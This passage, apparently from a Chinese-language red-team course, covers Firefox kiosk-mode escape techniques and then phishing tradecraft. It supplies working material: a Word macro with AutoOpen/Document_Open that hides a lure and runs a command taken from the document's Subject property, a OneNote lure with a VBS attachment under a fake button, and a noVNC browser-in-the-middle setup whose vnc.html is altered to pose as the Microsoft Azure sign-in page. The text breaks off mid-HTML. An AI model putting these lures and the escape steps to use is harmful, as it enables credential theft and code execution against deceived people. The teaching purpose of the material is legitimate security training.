29.7969px;"><td style="height: 29.7969px;">about:certificate</td><td style="height: 29.7969px;">查看服务器证书</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:privatebrowsing</td><td style="height: 29.7969px;">隐身访问</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:checkboard</td><td style="height: 29.7969px;">棋盘记录设置</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:processes</td><td style="height: 29.7969px;">查看有关浏览器进程对内存和CPU的占用</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:compat</td><td style="height: 29.7969px;">UA覆盖与干预</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">**about:profiles**</td><td style="height: 29.7969px;">**浏览器侧写列表**</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">**about:config**</td><td style="height: 29.7969px;">**火狐配置页**</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:profiling</td><td style="height: 29.7969px;">打开分析器</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:crashes</td><td style="height: 29.7969px;">浏览器崩溃报告</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:protections</td><td style="height: 29.7969px;">保护面板设置</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:credits</td><td style="height: 29.7969px;">贡献者页面</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:rights</td><td style="height: 29.7969px;">查看个人权利</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">**about:debugging**</td><td style="height: 29.7969px;">**连接火狐开发者工具**</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:robots</td><td style="height: 29.7969px;">彩蛋页</td></tr><tr><td>**about:downloads**</td><td>**下载列表**</td></tr><tr style="height: 35.3906px;"><td style="height: 35.3906px;">about:serviceworkers

</td><td style="height: 35.3906px;">查看注册的服务运行器</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:home</td><td style="height: 29.7969px;">火狐Home页</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:studies</td><td style="height: 29.7969px;">查看参与的学术研究</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:license</td><td style="height: 29.7969px;">查看浏览器许可</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">**about:support**</td><td style="height: 29.7969px;">**包含了用于排错的技术性信息**</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">**about:logins**</td><td style="height: 29.7969px;">**登陆凭证**</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">**about:sync-log**</td><td style="height: 29.7969px;">**查看错误日志**</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:loginsimportreport</td><td style="height: 29.7969px;">凭证导入报告</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:telemetry</td><td style="height: 29.7969px;">遥测收集到的数据</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:logo</td><td style="height: 29.7969px;">火狐Logo</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:unloads</td><td style="height: 29.7969px;">Tab分页关闭设置</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:memory</td><td style="height: 29.7969px;">内存报告</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:url-classifier</td><td style="height: 29.7969px;">URL分类器信息</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:mozilla</td><td style="height: 29.7969px;">彩蛋页</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:webrtc</td><td style="height: 29.7969px;">Web 实时通信页</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:networking</td><td style="height: 29.7969px;">查看网络连接</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:welcome</td><td style="height: 29.7969px;">欢迎页</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">about:newtab</td><td style="height: 29.7969px;">新建Tab页</td></tr></tbody></table>

####   


#### **快捷键**

我们可以在火狐官网查看到较为完整的快捷键列表([https://firefox-source-docs.mozilla.org/devtools-user/keyboard\_shortcuts/index.html](https://firefox-source-docs.mozilla.org/devtools-user/keyboard_shortcuts/index.html))，但因为我们目前处于 Kiosk 模式，不是所有的快捷键都生效。并且因为数量众多，经过个人筛选，以下是可能对 Kiosk 逃逸有用的快捷键：

<table border="1" id="bkmrk-%E5%BF%AB%E6%8D%B7%E9%94%AE%E7%BB%84%E5%90%88-%E4%BD%9C%E7%94%A8-ctrl-%2B-l-%E8%81%9A%E7%84%A6" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>**快捷键组合**</td><td>**作用**</td></tr><tr><td>CTRL + L</td><td>聚焦到地址栏，从而输入URL</td></tr><tr><td>CTRL + SHIFT + J</td><td>浏览器控制台</td></tr><tr><td>CTRL + SHIFT + Z</td><td>调试器</td></tr><tr><td>CTRL + K/J</td><td>显示地址栏下拉框</td></tr><tr><td>CTRL + O</td><td>打开文件</td></tr><tr><td>CTRL + SHIFT + H</td><td>Library 窗口，包含历史</td></tr><tr><td>CTRL + SHIFT + A</td><td>Add On</td></tr></tbody></table>

### **信息搜集**

about URL 以及快捷键能给我们提供很大的便利，并且拓宽了攻击面，接下来我们对目标主机进行枚举以及信息搜集。

#### **支持的协议**

火狐浏览器支持的 URI 协议不止 http/https，并且用户甚至可以创建自定义协议句柄。在火狐浏览器中，我们可以使用 file 协议读取本地文件，例如当我们访问 file:////etc/passwd 时，我们便能读取到本地文件 /etc/passwd 中的内容。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/xH9ccuTECWW3Or6i-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/xH9ccuTECWW3Or6i-image.png)

我们也可以尝试 ftp URL，例如 ftp://web01，尽管没有直接报错 URL 非法，但是也没能让我们成功访问到 FTP 服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/XCf2vVYqoJTn2n3I-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/XCf2vVYqoJTn2n3I-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/FDqdvRj9rTuISzA1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/FDqdvRj9rTuISzA1-image.png)

火狐浏览器曾经可以通过修改配置来实现对 FTP 服务器的访问，

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/8ZRfyEVR2AL27cHK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/8ZRfyEVR2AL27cHK-image.png)

但如今的版本已经废弃了该支持了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/bFxmxQw0AXJBb1c6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/bFxmxQw0AXJBb1c6-image.png)

总之，我们还可以尝试一些其他协议的 URL，例如 SMB 等，大家自行尝试。

#### **文件浏览**

除了使用 file 协议 URL 访问本地文件，我们还可以向上文那样提供一个非 HTTP/HTTPS 的 URL，在选择应用程序的时候顺便浏览本地文件。

我们也可以使用快捷键 CTRL + O 来召唤打开文件页面，实现文件与目录浏览。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/oQYyu8dZBR9Zn4Qt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/oQYyu8dZBR9Zn4Qt-image.png)

在浏览中的时候我们发现目标主机有安装 xterm 程序，该程序提供 GUI 终端窗口。如果我们能有任何方法运行该二进制程序，那么即可实现代码执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/Lk26Fd0Oii03ZsZS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/Lk26Fd0Oii03ZsZS-image.png)

#### **配置信息**

我们可以通过 **about:preferences** 来访问火狐浏览器设置，就像通过 UI 进入一样，在此，我们可以获得一些当前浏览器的设置信息。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/f812YRBPd4IL6FW2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/f812YRBPd4IL6FW2-image.png)

通过 **about:logins** 访问存储的凭证，可惜我们并没有发现任何凭证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/fqIBOYEeUldz80i4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/fqIBOYEeUldz80i4-image.png)

当我们访问 **about:support**，可以在页面中搜集到一些操作系统的相关信息

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/2NybtXiaBuEKhDQ2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/2NybtXiaBuEKhDQ2-image.png)

### **失败的逃逸尝试**

刚才通过浏览本地文件，我们发现 **/usr/bin/xterm** 存在。如果可以运行该二进制文件，那么我们可以获得图形化终端，从而获得 RCE。

我们还尝试了访问 http/https 协议外的链接，例如 FTP、SMB 等。我们发现，对于 FTP 协议的 URL，火狐浏览器会让用户选择应用程序来打开该链接，我们可以选择一个二进制文件，例如 bash，xterm。

可是，无论我们选择 bash 还是 xterm，都没有任何响应。原来，如果我们选择二进制文件后，FTP 的 URL 会被作为参数。这里的话，完整命令如下：

```
/bin/bash ftp://localhost
/usr/bin/xterm ftp://localhost
```

FTP URI 显然不是这 2 个二进制接受的参数形式，自然无法弹出终端窗口。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/5I6zXSGR06CGGRLc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/5I6zXSGR06CGGRLc-image.png)

这里的话，我们可以使用 /usr/bin/env 将 [ftp://localhost](ftp://localhost) 设置为一个环境变量的名称，并给它赋值。后面接个二进制文件，便可成功执行了。

```
/usr/bin/env ftp://localhost=abc /usr/bin/bash
```

如下图所示，无论是 /bin/sh 还是 /usr/bin/xterm 都能成功运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/kqI8KZTkaIJmB4vx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/kqI8KZTkaIJmB4vx-image.png)

但是当我们在浏览器地址栏输入 **ftp://localhost=abc /usr/bin/xterm** 的时候，我们遇到了一个问题。因为这个字符串不被认为是常规 URL，因此浏览器自动对其进行搜索，我们需要的是直接访问输入。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/6KxAYE3VClA9rOSQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/6KxAYE3VClA9rOSQ-image.png)

因此，我们需要进入 about:config 修改设置，使得以下设置为 false。

```
browser.urlbar.suggest.searches = false
keyword.enabled = false
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/G2L8BfzMYUuNd9SI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/G2L8BfzMYUuNd9SI-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/rMaJFZ92teYerAiM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/rMaJFZ92teYerAiM-image.png)

这样，无论我们输入什么内容，都不会有搜索建议了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/j0xrW4Ke7Tdv5Od5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/j0xrW4Ke7Tdv5Od5-image.png)

但是，当我们尝试访问这个精心构造的 URL 时，浏览器显示该地址无法解析。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/dAbKcjUme5U5GNl3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/dAbKcjUme5U5GNl3-image.png)

这里，我们推测是空格键导致解析问题，尽管我们可以继续探索火狐浏览器并找到相关设置使浏览器强行解读，但我们也可以考虑字符限制的绕过。在 Linux 端，**$IFS** 有着类似空格的作用，于是我们可以构造这样的URL：

```
ftp://localhost=abc$IFS/usr/bin/xterm
```

在本地测试是成功的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/3xGt6IhCzk0LmYaO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/3xGt6IhCzk0LmYaO-image.png)

但是，在浏览器的地址栏访问的时候，我们遇到另一个问题：**$** 字符后面跟着的 **IFS** 被自动转换成小写了。而小写的 IFS，即 **$ifs** 并没有相同的作用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/ujXAWxQUfv5or43H-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/ujXAWxQUfv5or43H-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/1G0M8D8AzEYjdAtH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/1G0M8D8AzEYjdAtH-image.png)

但是，在 **$** 前面加一个**斜杠**就可以解决这个问题了，在本地测试是没问题的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/Qf38mLNshmQ6ZLC2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/Qf38mLNshmQ6ZLC2-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/idyuepm7djOmMIjr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/idyuepm7djOmMIjr-image.png)

可惜的是，在浏览器地址栏使用 **/usr/bin/env** 访问该 URL 依旧没有为我们弹出终端窗口。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/iwAIw79jVdaFzgXy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/iwAIw79jVdaFzgXy-image.png)

尽管我们最终没有获得 Shell，但这个过程让我们更加了解了浏览器特性。

### **逃逸Kiosk模式**

有了对 Kiosk 模式以及火狐浏览器特性的了解，以及失败的逃逸尝试，让我们来看怎么能成功地逃逸 Kiosk 模式并获得代码执行吧，这里介绍 2 种方法，但有些相似之处。

#### **方法一**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/HZk60QwP9KmoEZjV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/HZk60QwP9KmoEZjV-image.png)

按下 **CRTL + L** 快捷键，发现我们可以输入指定的 URL 并访问

在我们自己控制的服务器上，开启一个 HTTP 服务器，然后在浏览器内访问该服务器并下载任意文件

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/pX4rde6RhLmEUejb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/pX4rde6RhLmEUejb-image.png)

下载完成后，点击文件夹的图标，打开文件页面

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/SoSLAWRx15eeFK57-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/SoSLAWRx15eeFK57-image.png)

在文件页面邮件，点击 **Open in Terminal** 打开终端即可。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/HJtVOshdWF4UxQDY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/HJtVOshdWF4UxQDY-image.png)

寻找 kiosk 的进程，并关闭。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/vel1ZtIC2nzYtQMM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/vel1ZtIC2nzYtQMM-image.png)

这样，我们就彻底控制远程桌面了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/dHs3lAe32MYwfjPn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/dHs3lAe32MYwfjPn-image.png)

#### **方法二**

该方法更加直接，但需要我们对 about URL 更加熟悉。我们直接访问 about:support 页面：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/r9IoYy5Ht0miyUTY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/r9IoYy5Ht0miyUTY-image.png)

在 Profile Directory 这一行，点击 Open Directory 按钮，便可弹出文件窗口：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/hcrxP2MM73Ri4YGB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/hcrxP2MM73Ri4YGB-image.png)

后面的操作则都一致了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/MxpBleLlyaUbU6W8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/MxpBleLlyaUbU6W8-image.png)

# 社会工程学攻击

社会工程学攻击是多种多样的，如果用于红队行动中突破边界，那么可以大致有这么3类

1：客户端代码执行。例如带有 Macro 的 doc 文档。

2：窃取凭证。例如在钓鱼邮件里添加链接，指向一个伪造的登陆界面

3：诱导用户完成特定行为。例如在钓鱼邮件中诱导用户访问攻击者的 rogue 服务器。

社会工程学攻击的载体可以是 邮件 (最经典的)、短信、电话等。本小节主要介绍以邮件为载体的社会工程学攻击。此外，使用邮件进行钓鱼攻击也是需要搭建安全的基础设施，考虑到内容篇幅与课程进度，并不在此展开。可以参考的钓鱼基础设施有 GoPhish ([https://github.com/gophish/gophish](https://github.com/gophish/gophish))，Evilginx2 ([https://github.com/kgretzky/evilginx2](https://github.com/kgretzky/evilginx2)), EvilGophish ([https://github.com/fin3ss3g0d/evilgophish](https://github.com/fin3ss3g0d/evilgophish)) 等。

## **客户端代码执行**

#### **Microsoft Word 宏**

Word 有个特性叫**自动图文集**，即可以把特定内容保存进去，当然也可以在后续把保存的图文集提取出来插入到文档中。这个特定配合特定的 macro 脚本，可以实现伪加密效果。

1：新建一个 doc 或者 docm 文档，填写一些可信的内容，例如个人简历。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/BVOP0SvWLJ1V8sxk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/BVOP0SvWLJ1V8sxk-image.png)

2：选中内容，将所选的内容保存到自动图文集中（**插入 -&gt;文档部件 -&gt; 自动图文集**）

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/B2ky6PYDztZYHtRS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/B2ky6PYDztZYHtRS-image.png)

3：删除个人简历内容，填写语境，例如 “出于个人隐私考虑，该文档进行了加密，请启用宏以解密该文档查看个人简历”

4：编辑宏，插入宏代码用于删除当前页面并且插入保存的图文集。

```vbscript
    ActiveDocument.Content.Select
    Selection.Delete
    ActiveDocument.AttachedTemplate.AutoTextEntries("dler").Insert Where:=Selection.Range, RichText:=True
```

5：当受害者打开文档时，显示的是一份“加密”的文档，即我们的语境，点击启用宏之后，当前的内容会被宏删除，并且插入自动图文集中保存的内容，即我们的简历。

**未开启宏之前：**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/IEVOBVpP2RtAU45G-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/IEVOBVpP2RtAU45G-image.png)

**开启宏之后：**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-11/scaled-1680-/jwXap5qqsUvBrQ4c-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-11/jwXap5qqsUvBrQ4c-image.png)

6：在此基础上，加上载荷，出于测试目的，我们的载荷为 calc.exe。但是，我们并不在脚本中指定要运行的程序或命令。邮件 doc/docm 文件，修改 Subject或者其他属性的值为要运行的程序或者命令

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/uqfCqb0qSJSBXoVR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/uqfCqb0qSJSBXoVR-image.png)

7：通过获得当前文档对象，从而获得该文档对象的各种属性的值

```vbscript
    Dim ProgramName As String
    Set doc = ActiveDocument
        ProgramName = doc.BuiltInDocumentProperties("Subject").Value
        Call Shell("""" & ProgramName & """", vbNormalFocus)
```

8：完整流程的代码如下

```vbscript
Function phishing()
    ActiveDocument.Content.Select
    Selection.Delete
    ActiveDocument.AttachedTemplate.AutoTextEntries("dler").Insert Where:=Selection.Range, RichText:=True
    Dim ProgramName As String
    Set doc = ActiveDocument
        ProgramName = doc.BuiltInDocumentProperties("Subject").Value
        Call Shell("""" & ProgramName & """", vbNormalFocus)
    
End Function
Sub Document_Open()
    phishing
End Sub


Sub AutoOpen()
    phishing
End Sub
```

9：但此时，如果我们将载荷替换为 C2 的下载与执行，想要通过杀毒软件的检测，可能还需要其他的努力。我们会在后面的章节进行更深层次的载荷构造。

#### **One Note**

就在不久之前，OneNote 的笔记本文件 (**.one** 格式) 被广泛用于钓鱼邮件中。 当导出笔记本时，我们可以选择 .one 格式。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/mzTFuI9dUn15JGFe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/mzTFuI9dUn15JGFe-image.png)

当然，我们也可以把该类型文件导入进 OneNote 中。那么，OneNote 的什么特性让其也成为了客户端攻击的载体？原来，OneNote 中可以插入文件，例如 vbs 脚本文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/6vanXjuTTSNql5In-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/6vanXjuTTSNql5In-image.png)

那么，即便这样用户也不会轻易地就打开附件，我们要怎么诱导他们运行附件呢？下图是一个我构造好的恶意 one 文件。看起来是一份表格被加密了，只有在双击按钮后，方可访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/Dv85VBLE62r1D01m-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/Dv85VBLE62r1D01m-image.png)

我们双击之后，会有弹窗提醒，有一定安全意识的人可能会觉得不对劲了，但对于那些非计算机岗位的员工来说，很可能并不会被该弹窗给提醒到。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/7vi6TIaWCacqT7uv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/7vi6TIaWCacqT7uv-image.png)

再之后，我们的载荷 (这里是 calc.exe) 便弹了出来，我们可以将载荷更换为更复杂的命令。

```vbscript
CreateObject("Wscript.Shell").Run "calc.exe"
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/qYdXpIdN8zcLLSB8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/qYdXpIdN8zcLLSB8-image.png)

可为什么双击按钮后会触发文件执行呢？实际上我们只是用该按钮作为图片覆盖住了下面的附件，以确保双击到按钮的任何部位都会触发文件执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/0ArZglgoSl3vKpts-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/0ArZglgoSl3vKpts-image.png)

## **凭证窃取**

#### **NoVNC**

NoVNC钓鱼 是在 2022 年被提出来的一种 BitM (中间浏览器) 攻击。使用 Evilginx 等 MitM 类的钓鱼工具作为基础设施，在一些开启 2FA 的场景而不奏效，并且一些网站也意识到了此类攻击，从而做出一些预防手段。因此，BitM 攻击后来被提出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/KbgnOQDr8MRet1O5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/KbgnOQDr8MRet1O5-image.png)

noVNC 是一款用网页实现的 VNC 客户端，即使用者可以通过浏览器访问目标 VNC 服务器。我们通过特定的配置 (例如隐藏部分UI)，在受害者点击链接后 (链接为 noVNC 网页客户端的网址)，误以为自己是在访问真实的目标，而没有意识到自己是在通过浏览器访问 VNC 服务器。如下图所示，用户打开链接后显示的是 Azure 的登陆页面，我们 VNC 会话中的浏览器确实是在访问 Azure 登陆页面，所以用户从打开页面到登陆成功，不会察觉到任何异样，浏览器也不会警告，一切都是合理有效的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/h8u4OUSVWhk6KV8J-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/h8u4OUSVWhk6KV8J-image.png)

那么，我们需要怎么配置呢？

先安装 tigervnc、ubuntu 桌面，设置 vnc 密码

```shell
sudo apt update
sudo apt install tigervnc-standalone-server tigervnc-xorg-extension tigervnc-viewer
sudo apt install ubuntu-gnome-desktop
sudo systemctl enable gdm
sudo systemctl start gdm
vncpasswd
```

下载 noVNC ([https://github.com/novnc](https://github.com/novnc))

```shell
git clone https://github.com/novnc/noVNC.git
```

修改 **vnc.html** 中的以下几行以实现更好的模拟效果：

```html
<title>noVNC</title>
<div id=”noVNC_control_bar_anchor” class=”noVNC_vcenter">
<div id=”noVNC_status”></div>
<div id="noVNC_transition">
```

修改为：

```html
<title>Sign in Microsoft Azure</title>
<div id=”noVNC_control_bar_anchor” class=”noVNC_vcenter” style=”display:none;”>
<div id=”noVNC_status” style=”display:none”></div>
<div id="noVNC_transition" style="background-color:white;color:white">
```

完整的 vnc.html:

```html

<html lang="en" class="noVNC_loading">
<head>

    <!--
    noVNC example: simple example using default UI
    Copyright (C) 2019 The noVNC Authors
    noVNC is licensed under the MPL 2.0 (see LICENSE.txt)
    This file is licensed under the 2-Clause BSD license (see LICENSE.txt).

    Connect parameters are provided in query string:
        http://example.com/?host=HOST&port=PORT&encrypt=1
    or the fragment:
        http://example.com/#host=HOST&port=PORT&encrypt=1
    -->
    <title>Sign in to Microsoft Azure</title>

    <link rel="icon" type="image/x-icon" href="app/images/icons/novnc.ico">

    <!-- Apple iOS Safari settings -->
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">

    <!-- @2x -->
    <link rel="apple-touch-icon" sizes="40x40" type="image/png" href="app/images/icons/novnc-ios-40.png">
    <link rel="apple-touch-icon" sizes="58x58" type="image/png" href="app/images/icons/novnc-ios-58.png">
    <link rel="apple-touch-icon" sizes="80x80" type="image/png" href="app/images/icons/novnc-ios-80.png">
    <link rel="apple-touch-icon" sizes="120x120" type="image/png" href="app/images/icons/novnc-ios-120.png">
    <link rel="apple-touch-icon" sizes="152x152" type="image/png" href="app/images/icons/novnc-ios-152.png">
    <link rel="apple-touch-icon" sizes="167x167" type="image/png" href="app/images/icons/novnc-ios-167.png">
    <!-- @3x -->
    <link rel="apple-touch-icon" sizes="60x60" type="image/png" href="app/images/icons/novnc-ios-60.png">
    <link rel="apple-touch-icon" sizes="87x87" type="image/png" href="app/images/icons/novnc-ios-87.png">
    <link rel="apple-touch-icon" sizes="120x120" type="image/png" href="app/images/icons/novnc-ios-120.png">
    <link rel="apple-touch-icon" sizes="180x180" type="image/png" href="app/images/icons/novnc-ios-180.png">

    <!-- Stylesheets -->
    <link rel="stylesheet" href="app/styles/base.css">
    <link rel="stylesheet" href="app/styles/input.css">

    <!-- Images that will later appear via CSS -->
    <link rel="preload" as="image" href="app/images/info.svg">
    <link rel="preload" as="image" href="app/images/error.svg">
    <link rel="preload" as="image" href="app/images/warning.svg">

    <script type="module" crossorigin="anonymous" src="app/error-handler.js"></script>
    <script type="module" crossorigin="anonymous" src="app/ui.js"></script>
</head>

<body>

    <div id="noVNC_fallback_error" class="noVNC_center">
        <div>
            <div>noVNC encountered an error:</div>
            <br>
            <div id="noVNC_fallback_errormsg"></div>
        </div>
    </div>

    <!-- noVNC Control Bar -->
    <div id="noVNC_control_bar_anchor" class="noVNC_vcenter" style=”display:none;”>

        <div id="noVNC_control_bar">
            <div id="noVNC_control_bar_handle" title="Hide/Show the control bar"><div></div></div>

            <div class="noVNC_scroll">

            <h1 class="noVNC_logo" translate="no"><span>no</span><br>VNC</h1>

            <hr>

            <!-- Drag/Pan the viewport -->
            <input type="image" alt="Drag" src="app/images/drag.svg"
                id="noVNC_view_drag_button" class="noVNC_button noVNC_hidden"
                title="Move/Drag Viewport">

            <!--noVNC Touch Device only buttons-->
            <div id="noVNC_mobile_buttons">
                <input type="image" alt="Keyboard" src="app/images/keyboard.svg"
                    id="noVNC_keyboard_button" class="noVNC_button" title="Show Keyboard">
            </div>

            <!-- Extra manual keys -->
            <input type="image" alt="Extra keys" src="app/images/toggleextrakeys.svg"
                id="noVNC_toggle_extra_keys_button" class="noVNC_button"
                title="Show Extra Keys">
            <div class="noVNC_vcenter">
            <div id="noVNC_modifiers" class="noVNC_panel">
                <input type="image" alt="Ctrl" src="app/images/ctrl.svg"
                    id="noVNC_toggle_ctrl_button" class="noVNC_button"
                    title="Toggle Ctrl">
                <input type="image" alt="Alt" src="app/images/alt.svg"
                    id="noVNC_toggle_alt_button" class="noVNC_button"
                    title="Toggle Alt">
                <input type="image" alt="Windows" src="app/images/windows.svg"
                    id="noVNC_toggle_windows_button" class="noVNC_button"
                    title="Toggle Windows">
                <input type="image" alt="Tab" src="app/images/tab.svg"
                    id="noVNC_send_tab_button" class="noVNC_button"
                    title="Send Tab">
                <input type="image" alt="Esc" src="app/images/esc.svg"
                    id="noVNC_send_esc_button" class="noVNC_button"
                    title="Send Escape">
                <input type="image" alt="Ctrl+Alt+Del" src="app/images/ctrlaltdel.svg"
                    id="noVNC_send_ctrl_alt_del_button" class="noVNC_button"
                    title="Send Ctrl-Alt-Del">
            </div>
            </div>

            <!-- Shutdown/Reboot -->
            <input type="image" alt="Shutdown/Reboot" src="app/images/power.svg"
                id="noVNC_power_button" class="noVNC_button"
                title="Shutdown/Reboot...">
            <div class="noVNC_vcenter">
            <div id="noVNC_power" class="noVNC_panel">
                <div class="noVNC_heading">
                    <img alt="" src="app/images/power.svg"> Power
                </div>
                <input type="button" id="noVNC_shutdown_button" value="Shutdown">
                <input type="button" id="noVNC_reboot_button" value="Reboot">
                <input type="button" id="noVNC_reset_button" value="Reset">
            </div>
            </div>

            <!-- Clipboard -->
